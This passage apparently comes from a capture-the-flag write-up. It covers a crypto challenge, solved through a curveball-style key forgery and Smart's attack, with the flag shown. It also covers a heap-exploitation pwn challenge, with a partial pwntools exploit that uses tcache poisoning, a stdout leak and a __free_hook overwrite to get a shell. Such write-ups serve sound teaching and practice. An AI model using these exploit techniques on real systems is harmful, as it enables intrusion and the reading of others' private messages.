				"securityKey": Point(0xf296087923a188a179b5c03808b069aa462de0f2a4ef2da0415c46d0184d272,0xd2642f0b4a6222f84bf32f4fb2b8a989370680d7bccc4e9528f6cc0e3ac567f5),
				"G" :[self.G.x,self.G.y]
			},
			"[email protected]":{
				"securityKey":Point(0xfc2927852f1fb70bfdfc5e89539e9d7509be1c2cfbf2558073460268ef9b6d43,0x4eefdd44e14487628af84f33ebfeb1a14f9d1d9ece491daa49c1f3f0b5476994),
				"G" :[self.G.x,self.G.y]
			}  ,
			"[email protected]": {
				"securityKey":Point(0x9c866b479c4638bed50e5268f4823676a76632e9f45c40456967cc93809c4a4,0x8190681032a6f0250be36736b086d0deac42c1b33021e7feafef4acd3adc350f),
				"G" :[self.G.x,self.G.y]
			} ,
			"[email protected]":{
				"securityKey":Point(0x5711176bc452a882952d058376c4cda7f93e7f2063b4e0e947e193ba3d150054,0xd2f843855a1e4c32bc036994ed3fed9f088a4f8534926f67250465bf944c97f9),
				"G" :[self.G.x,self.G.y]
			} ,
			"[email protected]": {
				"securityKey":Point(0x5f2b5e0badb9babaf00dc5b3aed0660709d60dbde4446a5591f263f8500cfbed,0xc488a089f3b04bd93e1b87d6f3a3ede4c7e8e85f11d52c363b7d790ee4fa6d31),
				"G" :[self.G.x,self.G.y]
			}

		}

	def encrypt_msg(self,msg,sender,user,curve: int):

		print_colored_text(Fore.MAGENTA,"[*] Generating new shared secret(End-to-End Encryption)")
		
		G = (keyrings[user]['Gx'],keyrings[user]['Gy'])
		user_secret_key =  keys.gen_private_key(curve)
		user_public_key = keys.get_public_key(user_secret_key,curve)
		print_colored_text(Fore.LIGHTRED_EX,f"[+] Public Key of {user}: {user_public_key}")
		sender_secret_key = keys.gen_private_key(curve)
		sender_public_key = keys.get_public_key(sender_secret_key,curve)
		shared_secret = sender_secret_key*user_public_key
		print_colored_text(Fore.LIGHTRED_EX,f"[+] Public Key of {sender}: {sender_public_key}")
		shared_secret = shared_secret.x + shared_secret.y
		sha1 = hashlib.sha1()
		sha1.update(str(shared_secret).encode('ascii'))
		key = sha1.digest()[:16]
		iv = os.urandom(16)
		cipher = AES.new(key, AES.MODE_CBC, iv)
		ciphertext = cipher.encrypt(pad(msg.encode(), 16))
	    
		return iv.hex()+":"+ciphertext.hex()


	def search_key(self,usermail,key):

		for email,crt_dict in self.certs.items():
			if key == crt_dict['securityKey']:
				return email
		else:
			return False

	def send_msg_to_receiver(self,email):

		user = email.split("@")[0]

		if user in keyrings.keys():
			user_inbox= chat_inbox_all[user]

			for sender, msgs in user_inbox.items():

				print(f"\n({len(msgs)}) New Messages from {sender}")
				print()
				print("Transferring messages...")
				print()
				print_colored_text(Fore.BLUE,"[*] Initiating key exchange")
				print()
				print_colored_text(Fore.MAGENTA,"[*] Curve Parameters")
				
				print_colored_text(Fore.LIGHTRED_EX,f"[+] P: {keyrings[user]['P']}")
				print_colored_text(Fore.LIGHTRED_EX,f"[+] a: {keyrings[user]['a']}")
				print_colored_text(Fore.LIGHTRED_EX,f"[+] b: {keyrings[user]['b']}")
				print_colored_text(Fore.LIGHTRED_EX,f"[+] Gx: {keyrings[user]['Gx']}")
				print_colored_text(Fore.LIGHTRED_EX,f"[+] Gy: {keyrings[user]['Gy']}")

				user_curve = curve.Curve(user,keyrings[user]['P'],keyrings[user]['a'],keyrings[user]['b'],keyrings[user]['P'],keyrings[user]['Gx'],keyrings[user]['Gy'])
				print()
				print_colored_text(Fore.GREEN,"Sending Messages...")
				messages_enc = []
				for i in range(len(msgs)):
					msg = self.encrypt_msg(msgs[i],sender,user,user_curve)
					print()
					print(f"Message from {sender}:\n{msg}\nPlease use the private key generated on your authenticator device to decrypt it")
					print()
			print("\n")	
				
		else:
			print("No new messages!")

	def user_signin(self):
		email = input("Enter your @pollos-hermanos.com mail id: ")
		if (not "@pollos-hermanos.com" in email) or (email.find("@pollos-hermanos.com")+20 != len(email)):
			print("Invalid email!")
		else:
			try:
				private_key = int(input("Enter your private key: "))
			except ValueError as e:
				print(f"Error occured : {e}")
				sys.exit(1)

			if private_key<2**16:
				print("Private key too insecure!")
				sys.exit(1)

			try:
				generator = Point(int(input("Gx: ")),int(input("Gy: ")))
			except ValueError as e:
				print(f"Error occured : {e}")
				sys.exit(1)

			certificate = generator * private_key
			email_found = self.search_key(email,certificate)
			if not email_found and (not email in self.certs.keys()):
				self.certs[email] = {
					"securityKey": certificate,
					"G": [generator.x,generator.y]
				}
				print("Security Key added.")
			else:
				print(f"Welcome Mr. {email_found.split('@')[0].split('.')[0]}")
				user = email_found
				self.send_msg_to_receiver(user)

if __name__ == "__main__":
	portal = Portal()
	while True:
		portal.user_signin()

Damn!! That is a lot of crypto stuff going on... But we will get back to that later.
First let's connect with the nc string given in the challenge.

bbcrypto_1.png

We are required to enter a pollos-hermanos mail id and a private key . Let's try entering some random number

bbcrypto_2.png

It tells us that the private key is too insecure....Well it should be as can be seen in this part of the code

			try:
				private_key = int(input("Enter your private key: "))
			except ValueError as e:
				print(f"Error occured : {e}")
				sys.exit(1)

			if private_key<2**16:
				print("Private key too insecure!")
				sys.exit(1)

so we need to enter a number that is greater than 16bits or 2^16. After entering a large enough number, We get the prompt of entering the generator.
According to this code, if the Generator Point*private key, is a public key already registered as a user in the "database", then you will get to read their messages. This is a simple manifestation of the curveball vulnerability which was found in microsoft's CryptAPI. The vulnerability arises when we are able to define the generator point and the private key both. We can forge a public key by a simple trick. For Eg. if the public key which we want to forge is G, then we multiply it with a random secret key, say k, let this new public key be called P = G*k , so we can send this as the generator point, and pow(k,-1,n) as the private key to forge the public key G. as G*k*k_inv = G

Since we are hinted at, heisenberg , let's try to read his messages first.

We calculate the private key and generator point to send to the server

>>> G = Point(0x5711176bc452a882952d058376c4cda7f93e7f2063b4e0e947e193ba3d150054,0xd2f843855a1e4c32bc036994ed3fed9f088a4f8534926f67250465bf944c97f9)
>>> pk = 129893743
>>> pk_inv = pow(pk,-1,curve.P256.q)
>>> newG=G*pk_inv
>>> newG.x
46335256365394958571150731638201159165848316958144255779969913085027568433601
>>> newG.y
11460666069606101861806883315581877419604921747598920014293368182001234603590
>>> newG*pk == G
True
└─$ nc 165.232.190.5 7370
Enter your @pollos-hermanos.com mail id: [email protected]
Enter your private key: 129893743
Gx: 46335256365394958571150731638201159165848316958144255779969913085027568433601                                                                               
Gy: 11460666069606101861806883315581877419604921747598920014293368182001234603590
Welcome Mr. heisenberg

(2) New Messages from gus.fring

Transferring messages...

[*] Initiating key exchange

[*] Curve Parameters
[+] P: 64573846639217184675346613878095257716233474695723007656236637738971482422507
[+] a: 7309927295899868534467332018180664631828003616539118005379358170719927503971
[+] b: 15583598394175064257980538399401554139047263562191396130472514991635049290872
[+] Gx: 49136458062572038061287368377259586733372276434668409017095869262895701976503
[+] Gy: 46048292512605962142315549207787958311072090970167589440318523455022149744363

As we can see, we can now read the encrypted messages of Heisenberg or Walter White.
One message from Jesse Pinkman is suspiciously long. Let's decrypt it first.

[*] Initiating key exchange

[*] Curve Parameters
[+] P: 64573846639217184675346613878095257716233474695723007656236637738971482422507
[+] a: 7309927295899868534467332018180664631828003616539118005379358170719927503971
[+] b: 15583598394175064257980538399401554139047263562191396130472514991635049290872
[+] Gx: 49136458062572038061287368377259586733372276434668409017095869262895701976503
[+] Gy: 46048292512605962142315549207787958311072090970167589440318523455022149744363

Sending Messages...
[*] Generating new shared secret(End-to-End Encryption)
[+] Public Key of heisenberg: X: 0x8ead0643aaaddd933fdc4418df364c6ce3ff9a0ae8d0277d90da8009e47a4475
Y: 0x5d64df583ed55a7dd5907e3c1d5fc77c06ab97e36da70bb27cfde81b4f2f2b36                                                                                                                         
(On curve <heisenberg>)                                                                                                                                                                       
[+] Public Key of jesse.pinkman: X: 0x1494e63cc156b6e77daff1748c200804bb3d8f9ade2bb69bf964a36351e2e64d
Y: 0x5cd8b06ecfae4cae1ac5dd924a6ea4a4b0fb03c63865a75dc39eb10b380478ce                                                                                                                         
(On curve <heisenberg>)                                                                                                                                                                       

Message from jesse.pinkman:
11c81e04a6ea71d9a61a3849ace7d866:d8013be4f0f239fd5c9d64e5e315d93d9051cf28b53d99f820e66f901f545e90a09a625c6c06f1b0158652240c83f0d5ad98f67e126c7e85112b437d0874a1f703333359c448fd832750d441c6f0782e
Please use the private key generated on your authenticator device to decrypt it

[*] Generating new shared secret(End-to-End Encryption)
[+] Public Key of heisenberg: X: 0x1cf064f0d52423bffcc03d2b028a6d7b931693ee3f448c724c4ce13d6b913cd2
Y: 0x562cfe1c2cc4cae73ca19966ac79ad9ae3ed0ee85e8ab2f7fbc4545ae5e7c69                                                                                                                          
(On curve <heisenberg>)                                                                                                                                                                       
[+] Public Key of jesse.pinkman: X: 0x5286d1ee6b722de0c882ee61ecefcc2d3cc1b7480bed3dc412573f3ebca4a66d
Y: 0x4919da7e33246169f3c2ed51d850b55ad1331c09f49eab90886eb995a9f63774                                                                                                                         
(On curve <heisenberg>)                                                                                                                                                                       

Message from jesse.pinkman:
f7eb5034ad3b2da7f73a87c550925de5:5529ab692d0e5c8c7bc3bacc020c69e975ae9dcc6862b4cce40029c119bfb818466406b9bf92ef27d15dae212f22e60b4a1dc885ddcc59c99ff1550f84521e2c
Please use the private key generated on your authenticator device to decrypt it

[*] Generating new shared secret(End-to-End Encryption)
[+] Public Key of heisenberg: X: 0x327aed5de5986496c8863357e1d703a9fdd2fcbacdb106e16029aa7f28703de7
Y: 0x3b19f705c759ecbc6c1133455930ae2131d538de464be1c81a696712c6797afc                                                                                                                         
(On curve <heisenberg>)                                                                                                                                                                       
[+] Public Key of jesse.pinkman: X: 0x62a37d494c3162f0f131ac2d0860bc6e29e996fa174a2adbeb9993bea0e1120b
Y: 0x2ce281dd14e65680edf75471983a029d0f1895dd713df309061d7ca42d04199e                                                                                                                         
(On curve <heisenberg>)                                                                                                                                                                       

Message from jesse.pinkman:
59f440c6658f6518ec3797eef1f30557:c30e26393c0e181a3f369bebff649012f904f2f1c880620ceb41fe293ad4ec1780110b4c75bb89ac8e4ca04a078c19089df990ebe2a9a66f4db12bd9c8cb808bb9e42ebbd614f52ace03e168537193474943aa4636f5f28270c6715eb1b959d1f41143b5de88c61930fb470ce7894b8d7d945d1d77f57376d9edb8d3e56b35a1ecc3e78d7abccc56d716f36ece5d59e5887e4b757cdeeeafc943573ff2a04e94357dec6a88f8b81dc0e34cad4d9e0bfcfc740cda3ee5fccb60ad7bc7c0c65d573e03ba729b3210909bca5ed0b21062d7
Please use the private key generated on your authenticator device to decrypt it

Since we have the curve parameters, let's start by finding the order of the curve

sage: FF = FiniteField(0x8ec3808346fd90023c910e24d4bfeb634857876ce8e5ff906f94a26a5fd1fceb)
sage: Curve = EllipticCurve(FF,[0x102945b0decbc276591c008ddfd4124a1e4340f2085300bb3d98eb021a658c63,0x2274010e229a59ebe3ff0b736e43c05511157a917da41c32ee376bde2f091c78])
sage: G = Curve.gens()[0]
sage: hex(G.order())
'0x8ec3808346fd90023c910e24d4bfeb634857876ce8e5ff906f94a26a5fd1fceb'

The order of the curve is same as the modulus of it's galois field!! This means we can decrypt the message trivially using smart's attack

def SmartAttack(P,Q,p):
    E = P.curve()
    Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])

    P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
    for P_Qp in P_Qps:
        if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
            break

    Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
    for Q_Qp in Q_Qps:
        if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
            break

    p_times_P = p*P_Qp
    p_times_Q = p*Q_Qp

    x_P,y_P = p_times_P.xy()
    x_Q,y_Q = p_times_Q.xy()

    phi_P = -(x_P/y_P)
    phi_Q = -(x_Q/y_Q)
    k = phi_Q/phi_P
    return ZZ(k)

# Curve parameters --> Replace the next three lines with given values
p = 64573846639217184675346613878095257716233474695723007656236637738971482422507
a = 7309927295899868534467332018180664631828003616539118005379358170719927503971
b = 15583598394175064257980538399401554139047263562191396130472514991635049290872

# Define curve
E = EllipticCurve(GF(p), [a, b])
assert(E.order() == p)

# Replace the next two lines with given values
P2 = E(0x327aed5de5986496c8863357e1d703a9fdd2fcbacdb106e16029aa7f28703de7
 , 0x3b19f705c759ecbc6c1133455930ae2131d538de464be1c81a696712c6797afc)
P1 = E(49136458062572038061287368377259586733372276434668409017095869262895701976503 , 46048292512605962142315549207787958311072090970167589440318523455022149744363)

print(SmartAttack(P1,P2,p))

Running the script produces the output:

└─$ sage smart_attack.sage
25178582251932665693135225459803592383575564406034419173958103275435289713115

Now we just need to find the shared secret, which is obtained the result of the script which is the private key of the sender, with the public key of the receiver, or vice versa.

>>> heisenberg_curve = curve.Curve('heisenberg',64573846639217184675346613878095257716233474695723007656236637738971482422507,7309927295899868534467332018180664631828003616539118005379358170719927503971,15583598394175064257980538399401554139047263562191396130472514991635049290872,64573846639217184675346613878095257716233474695723007656236637738971482422507,49136458062572038061287368377259586733372276434668409017095869262895701976503, 46048292512605962142315549207787958311072090970167589440318523455022149744363)
>>> shared_secret_point=Point(0x327aed5de5986496c8863357e1d703a9fdd2fcbacdb106e16029aa7f28703de7,0x3b19f705c759ecbc6c1133455930ae2131d538de464be1c81a696712c6797afc,curve=heisenberg_curve)*25178582251932665693135225459803592383575564406034419173958103275435289713115
>>> shared_secret = shared_secret_point.x + shared_secret_point.y
>>> sha1 = hashlib.sha1()
>>> sha1.update(str(shared_secret).encode('ascii'))
>>> key = sha1.digest()[:16]
>>> iv=bytes.fromhex('59f440c6658f6518ec3797eef1f30557')
>>> cipher = AES.new(key, AES.MODE_CBC, iv)
>>> cipher.decrypt(bytes.fromhex('c30e26393c0e181a3f369bebff649012f904f2f1c880620ceb41fe293ad4ec1780110b4c75bb89ac8e4ca04a078c19089df990ebe2a9a66f4db12bd9c8cb808bb9e42ebbd614f52ace03e168537193474943aa4636f5f28270c6715eb1b959d1f41143b5de88c61930fb470ce7894b8d7d945d1d77f57376d9edb8d3e56b35a1ecc3e78d7abccc56d716f36ece5d59e5887e4b757cdeeeafc943573ff2a04e94357dec6a88f8b81dc0e34cad4d9e0bfcfc740cda3ee5fccb60ad7bc7c0c65d573e03ba729b3210909bca5ed0b21062d7'))
b"Yo Mr. White, I guess I am onto something, I found the password of Gus' laptop. Maybe we can checkout his calendar to know where he would be in the next 2 days. It's : BugBase{!+H@t3_6us_Fr1ng_$$$737000}\x05\x05\x05\x05\x05"

And we found the flag!

Flag : BugBase{!+H@t3_6us_Fr1ng_$$$737000}

x. Rock-Paper-Scissors

Challenge Title: Rock-Paper-Scissors
Category: pwn
Difficulty: Hard
Description: Let's get old school! Let's have a game of rock-paper-scissors!

In the handouts for this challenge, we get a challenge binary file and a libc.so.6 file. After patching and linking the binary to use libc provided by the challenge using pwninit, let's check the security on the binary using checkelf.

checkelf

rockpaperscissors_1.png

As we can see, all the modern protections are turned on in this binary. So we can not

  • Buffer overflow
  • Overwrite GOT
  • ROP
  • Execute shellcode

Let's decompile the binary in ghidra and get familiar with the functions used in it

main function

rockpaperscissors_2.png

This is the main function which calls the menu to print the menu and get user choice. Based on that choice, it either creates a new game if the limit of new games is not reached, which is 0x17 or 23. If the user selects option 2, then he gets to resume a previously saved game. So far so good. Let's move on to the init_game_and_play function

init_game_and_play function

rockpaperscissors_3.png

This is even shorter code! This function just creates a new chunk for storing the new game and then calls the play function to begin the actual game. Then frees the chunk based on the return value from the play function. Let's analyse what the play function does next

play function


undefined8 play(long *param_1)

{
  int iVar1;
  char *pcVar2;
  undefined8 uVar3;
  long in_FS_OFFSET;
  int local_38;
  int local_34;
  long local_30;
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
LAB_001013e7:
  do {
    puts("1. Guess");
    puts("2. Save");
    puts("3. Quit");
    printf("\nEnter your choice: ");
    __isoc99_scanf(&DAT_0010204a,&local_38);
    getchar();
    if (local_38 == 1) {
      printf("Play your move(rock|paper|scissors): ");
      fgets(local_28,0x12,stdin);
      local_34 = generateComputerMove();
      printf("\nComputer guessed: %s\n",*(undefined8 *)(choices + (long)local_34 * 8));
      printf("You guessed: %s\n",local_28);
      pcVar2 = strstr(local_28,*(char **)(winning_choices + (long)local_34 * 8));
      if (pcVar2 == (char *)0x0) {
        pcVar2 = strstr(local_28,*(char **)(choices + (long)local_34 * 8));
        if (pcVar2 == (char *)0x0) {
          puts("Ooops.. You got defeated this time!");
        }
        else {
          puts("That\'s a draw!");
          *param_1 = *param_1 + 10;
        }
      }
      else {
        puts("Congratulations! You win!\n");
        if (0x95 < *param_1) {
          printf("Enter how many points do you wish to add to the scoreboard: ");
          __isoc99_scanf(&DAT_001020fd,&local_30);
          getchar();
          *param_1 = *param_1 + local_30;
          printf("\nScore successfully Updated!");
          goto LAB_001013e7;
        }
        *param_1 = *param_1 + 0xf;
        if (*param_1 == 0x96) {
          puts(
              "\nWhat!!!!That\' impossible!\nBut since you managed to pull it off, from next time we \'ll let you add the pointsof your choice to the score!"
              );
        }
      }
      param_1[1] = param_1[1] + 1;
    }
    if (local_38 == 2) {
      *(int *)(param_1 + 2) = *(int *)(param_1 + 2) + 1;
      uVar3 = 1;
      goto LAB_0010165a;
    }
    if (local_38 == 3) {
      printf("Do you want to also dlt the game data:(y?) ");
      iVar1 = getchar();
      getchar();
      if ((char)iVar1 == 'y') {
        uVar3 = 0;
      }
      else {
        uVar3 = 1;
      }
LAB_0010165a:
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return uVar3;
    }
  } while( true );
}

The play function is the main meat of the program and enables the players to play the game of rock-paper-scissors. Let's analyze it closely. It starts a "while true" loop, printing a menu consisting of three options

1. Guess
2. Save
3. Quit

First one is the option to guess the correct move against the computer. Which we can see in the code is implemented as:

    if (local_38 == 1) {
      printf("Play your move(rock|paper|scissors): ");
      fgets(local_28,0x12,stdin);
      local_34 = generateComputerMove();
      printf("\nComputer guessed: %s\n",*(undefined8 *)(choices + (long)local_34 * 8));
      printf("You guessed: %s\n",local_28);
      pcVar2 = strstr(local_28,*(char **)(winning_choices + (long)local_34 * 8));
      if (pcVar2 == (char *)0x0) {
        pcVar2 = strstr(local_28,*(char **)(choices + (long)local_34 * 8));
        if (pcVar2 == (char *)0x0) {
          puts("Ooops.. You got defeated this time!");
        }
        else {
          puts("That\'s a draw!");
          *param_1 = *param_1 + 10;
        }
      }

So what this code does is, is that it reads a inputs a string from the user from rock, paper or scissors. But there is no check to make sure that the player entered one of these strings only. Next a computer guess is made, which just returns a random value from [0,1,2], which is used as an index to the choices global array to determine the computer's choice, and the player's input is checked to the corresponding choice in the winning_choices to determine whether he won or lost. There is a flaw in this check though. It only checks whether the winning choice string is found in the user input or not. This check can be easily bypasses each time by simply supplying the string "rockpaperscissors" since it will always contain the winning choice string. Also, once we have won 10 games, or collected 150 points, we can add arbitrary scores to the scoreboard in the subsequent wins. The function also increments something which appears to be a number_of_tries variable after each guess which is located at game+8 in the struct

But how do we get to pwn from here? Let's continue our analysis of the program.

The next option is used to save the game and it simply sets the return value to 1 and increments some sort of saved counter in the game struct as seen in the following code

    if (local_38 == 2) {
      *(int *)(param_1 + 2) = *(int *)(param_1 + 2) + 1;
      uVar3 = 1;
      goto LAB_0010165a;
    }

The saved pointer is clearly located at game_struct+8 and is incremented after every save.

Next option is to quit which is interesting code in itself. Since it asks the user whether he also wants to delete the game data, and if the user enters 'y' then the return value is set to 0.

    if (local_38 == 3) {
      printf("Do you want to also dlt the game data:(y?) ");
      iVar1 = getchar();
      getchar();
      if ((char)iVar1 == 'y') {
        uVar3 = 0;
      }
      else {
        uVar3 = 1;
      }

Remember that based on this return pointer, we are freeing (or not) the new malloc chunk that is created for this chunk. So the second option "Save" will not delete the game chunk, but it will increase the save pointer, which is a side effect of saving. But the Quit function does not modify anything, but can be used to free the game chunk.

Let's analyse the next main menu function i.e. resume_game

resume_game function

rockpaperscissors_4.png

Ok. So this function is used to resume the game that was supposedly saved from the play function and again calls play on it. It performs some basic checks to see whether the game is in the bounds of the global gamelist array which stores all the games. Or whether the game has actually been played. Next it calls the play function and based on it's return value frees the game.

Creating the exploit

To a experienced eye, there is an obvious double free and a UAF in this code. However there is no way of getting any leak from the print functions as nothing is getting printed except from the computer guess(interesting). Both of these vulns arises due to missing check in the resume_game function for checking if a game in the list has already been freed.

So.....how do we exploit it?? The most common method is to free a heap chunk to the unsorted bin and then attempt to read the value of the freed chunk to get the libc address since the freed chunk will contain a libc address to the main_arena, However, an unsorted bin attack is not feasible in this case as we have no control over the size of what gets malloc'ed and it is fixed in size 0x18 bytes. In this case we can't even get any leak from the given menu options since there is only provision to print the computer's choice. In such cases the approach usually is to get a libc leak using the stdout file structure. In short, we need the following conditions met, and puts will obediently print out a libc address for us:

  • _IO_2_1_stdout_->flags should be 0x1800
  • _IO_2_1_stdout_->_IO_write_ptr should be larger than _IO_2_1_stdout_->_IO_write_base

Well turns out that we have all the primitives to reach this available to us!

The action plan will be as follows...

  • We need to double free a chunk in such a manner using tcache poisoning that it lies on the chunk metadata of another chunk and it lies both in the libc and the unsorted bin
  • Now, on freeing, we have a libc address in the chunk metadata of another chunk, we now increment this value by winning to make it point to the libc stdout(_IO_2_1_stdout)
  • We modify the flags value which are the first eight bytes of stdout struct, also the _IO_write_ptr
  • We carry tcache poisoning again to allocate a chunk to __free_hook and overwrite it with system
  • Get a shell by free("/bin/sh").

Let's start building our exploit script, the first part will be to get the chunk in both the tcache and the unsorted bin.

First let's define some utility functions to aid us in the exploit.

#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.31.so")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r,'''
                break *resume_game+193
                break *play+383 
                c
            ''')
    else:
        r = remote("165.232.190.5", 1337)

    return r

r = conn()
sla=lambda x,y: r.sendlineafter(x,y)

def win_game_and_dlt(num):
    game_num=str(num).encode()
    print(f"game number to resume {game_num}")
    sla(b"Enter your choice: ",b"2")
    sla(b"Enter the # of the game you want to resume playing: ",game_num)
    for i in range(10):
        sla(b"Enter your choice: ",b"1")
        sla(b"Play your move(rock|paper|scissors): ","rockpaperscissors")
    sla(b"Enter your choice: ",b"3")
    sla(b"Do you want to also dlt the game data:(y?) ",b"y")

def win(num):
    game_num=str(num).encode()
    print(f"game number to resume {game_num}")
    sla(b"Enter your choice: ",b"2")
    sla(b"Enter the # of the game you want to resume playing: ",game_num)
    for i in range(10):
        sla(b"Enter your choice: ",b"1")
        sla(b"Play your move(rock|paper|scissors): ","rockpaperscissors")
    sla(b"Enter your choice: ",b"3")
    sla(b"Do you want to also dlt the game data:(y?) ",b"n")


def create_and_save():
    sla(b"Enter your choice: ",b"1")
    sla(b"Enter your choice: ",b"2")

def create():
    sla(b"Enter your choice: ",b"1")
    sla(b"Enter your choice: ",b"3")
    sla(b"Do you want to also dlt the game data:(y?) ",b"n")


def deleted_score(gamenum,val):
    game_num = str(gamenum).encode()
    val = str(val).encode()
    sla(b"Enter your choice: ",b"2")
    sla(b"Enter the # of the game you want to resume playing: ",game_num)
    sla(b"Enter your choice: ",b"1")
    sla(b"Play your move(rock|paper|scissors): ","rockpaperscissors")
    sla(b"Enter how many points do you wish to add to the scoreboard: ",val)
    sla(b"Enter your choice: ",b"3")
    sla(b"Do you want to also dlt the game data:(y?) ",b"n")


def increment_tries(gamenum,to):
    gamenum = str(gamenum).encode()
    sla(b"Enter your choice: ",b'2')
    sla(b"Enter the # of the game you want to resume playing: ",gamenum)
    for _ in range(to):
        sla(b"Enter your choice: ",b"1")
        sla(b"Play your move(rock|paper|scissors): ","hehe")
    sla(b"Enter your choice: ",b"2")

def resume_dlt(num):
    sla(b"Enter your choice: ",b'2')
    sla(b"Enter the # of the game you want to resume playing: ",str(num).encode())
    sla(b"Enter your choice: ",b'3')
    sla(b"Do you want to also dlt the game data:(y?) ",b"y")

def increment_saves(gamenum,inc_by):
    for _ in range(inc_by):
        sla(b"Enter your choice: ",b'2')
        sla(b"Enter the # of the game you want to resume playing: ",str(gamenum).encode())
        sla(b"Enter your choice: ",b'2')

Let me explain these functions:

  • win_game_and_dlt : This function wins a game, or sets the score above 150, so that now we can add arbitrary values to the scoreboard (long)game[0] in addition, this function also deletes the game.
  • win : Same as win_game_and_dlt but does not delete the game
  • create_and_save : This function creates a new game and immediately saves it
  • create : same as create but does not save
  • deleted_score(gamenum,num) : It adds the value "num" to the game "gamenum" 's scoreboard
  • increment_tries: This function simply increments the tries of the game struct
  • resume_dlt: This function resumes a game and deletes it
  • increment_saves : Simply increments the game saves

Now we start creating our exploit:

    for _ in range(3):
        create()
   
    win_game_and_dlt(0)
    win_game_and_dlt(1)
    deleted_score(1,16) # tcache poisoning the 1st chunk, will overwrite this chunk's metadata in the next two games

We first create 3 games, then delete the first two games. We add 16 to the second chunk so that the tcache pointer to next free chunk points to the second chunk's metadata itself

Before add:

gef➤  x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000      0x00005577108f9010
0x5577108f92b0: 0x0000000000000000      0x0000000000000021
0x5577108f92c0: 0x00005577108f92a0      0x00005577108f9010
0x5577108f92d0: 0x0000000000000000      0x0000000000000021
0x5577108f92e0: 0x0000000000000000      0x0000000000000000
0x5577108f92f0: 0x0000000000000000      0x0000000000020d11

After add:

gef➤  x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000      0x00005577108f9010
0x5577108f92b0: 0x0000000000000000      0x0000000000000021
0x5577108f92c0: 0x00005577108f92b0      0x00005577108f9010
0x5577108f92d0: 0x0000000000000000      0x0000000000000021
0x5577108f92e0: 0x0000000000000000      0x0000000000000000
0x5577108f92f0: 0x0000000000000000      0x0000000000020d11

As we can see, the tcache list has been poisoned and we will get a chunk allocated at 0x00005577108f92b0 after two mallocs..

    create() # games[3] -> same as games[1]
    create() # games [4] -> will now point to the metadata of games[1]

Thus gamelist[4] will be pointing to the chunk metadata of gamelist[1]. Now since we need a chunk in the unsorted bin, we need to free 7 chunks of the same size,but it will not be feasible as we have limited chunks to allocate.So we need to poison the tcache_perthread_struct which resides at the heap_base, and contains the count of the number of chunks in each tcache bin.

typedef struct tcache_perthread_struct
{
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

The counts is an array of short ints which stores the counter of each tcache bin starting from tcache of size 0x20. So we need to perform another tcache poisoning to get a chunk malloced at the position of tcache_perthread_struct, and increment the counter of tcache list of size 0xa0. Since we will be poisoning the heap metadata of gamelist[1] to this size. It can be any size you want.

    create() # games [5] -> next to games[2]
    win_game_and_dlt(2) 
    win_game_and_dlt(5)
    deleted_score(5,-720) # tcache poisoning 5 to make it point to tcache_perthread_struct

Next we create another game and poison it to make the next chunk in the tcache's freelist point to the tcache_perthread_struct.

gef➤  x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000      0x00005577108f9010
0x5577108f92b0: 0x0000000000000000      0x0000000000000000
0x5577108f92c0: 0x00005577108f92b0      0x0000000000000000
0x5577108f92d0: 0x0000000000000000      0x0000000000000021
0x5577108f92e0: 0x0000000000000000      0x00005577108f9010
0x5577108f92f0: 0x0000000000000000      0x0000000000000021
0x5577108f9300: 0x00005577108f92e0      0x00005577108f9010
0x5577108f9310: 0x0000000000000000      0x0000000000020cf1

We delete two more games so that gamelist[5] points to 0x00005577108f92b0, but the tcache_perthread_struct is located at 0x00005577108f9010

gef➤  x/8gx 0x00005577108f9010
0x5577108f9010: 0x0000000000000002      0x0000000000000000
0x5577108f9020: 0x0000000000000000      0x0000000000000000
0x5577108f9030: 0x0000000000000000      0x0000000000000000
0x5577108f9040: 0x0000000000000000      0x0000000000000000

As we can see, it already contains two chunks in the 0x20 list, these are the ones we just freed.
After poisoning the tcache

gef➤  x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000      0x00005577108f9010
0x5577108f92b0: 0x0000000000000000      0x0000000000000000
0x5577108f92c0: 0x00005577108f92b0      0x0000000000000000
0x5577108f92d0: 0x0000000000000000      0x0000000000000021
0x5577108f92e0: 0x0000000000000000      0x00005577108f9010
0x5577108f92f0: 0x0000000000000000      0x0000000000000021
0x5577108f9300: 0x00005577108f9010      0x00005577108f9010
0x5577108f9310: 0x0000000000000000      0x0000000000020cf1

The next two create() will take this chunk out from the tcache and we can increment the tries of this game as tries are stored in the third byte of the game chunk.]

gef➤  x/8gx 0x00005577108f9010
0x5577108f9010: 0x0000000000000000      0x0000000000000000
0x5577108f9020: 0x0000000000000008      0x0000000000000000
0x5577108f9030: 0x0000000000000000      0x0000000000000000
0x5577108f9040: 0x0000000000000000      0x0000000000000000

We have successfully poisoned the gamelist[5], and we can set the tcache_perthread_struct->counts[8] to be greater than 7 and it will make the corresponding tcache to look filled, and the next chunk of size 0xa0 will go into the unsorted bin.

Now we need to free a chunk so that it ends up in the unsorted bin and the tcache bin.The following code does this.

    create() # games[6] will use 5th one
    create() # games[7] will use the poisoned tcache from 5th
    increment_saves(7,8) increment the counts value of tcache of size 0xa0

# we need to create these chunks so that the 
    create() # game[8] 
    create() # game[9]
    create() # game[10]
    create() # game [11]
    create() # game [12]
    create() # game [13]
    create() # game [14]
    create() # game [15]
    
    resume_dlt(10)
    increment_tries(4,0x21)
    resume_dlt(1) # tcache now consists of gamelist[1]
    increment_tries(4,0x80)
    resume_dlt(1)

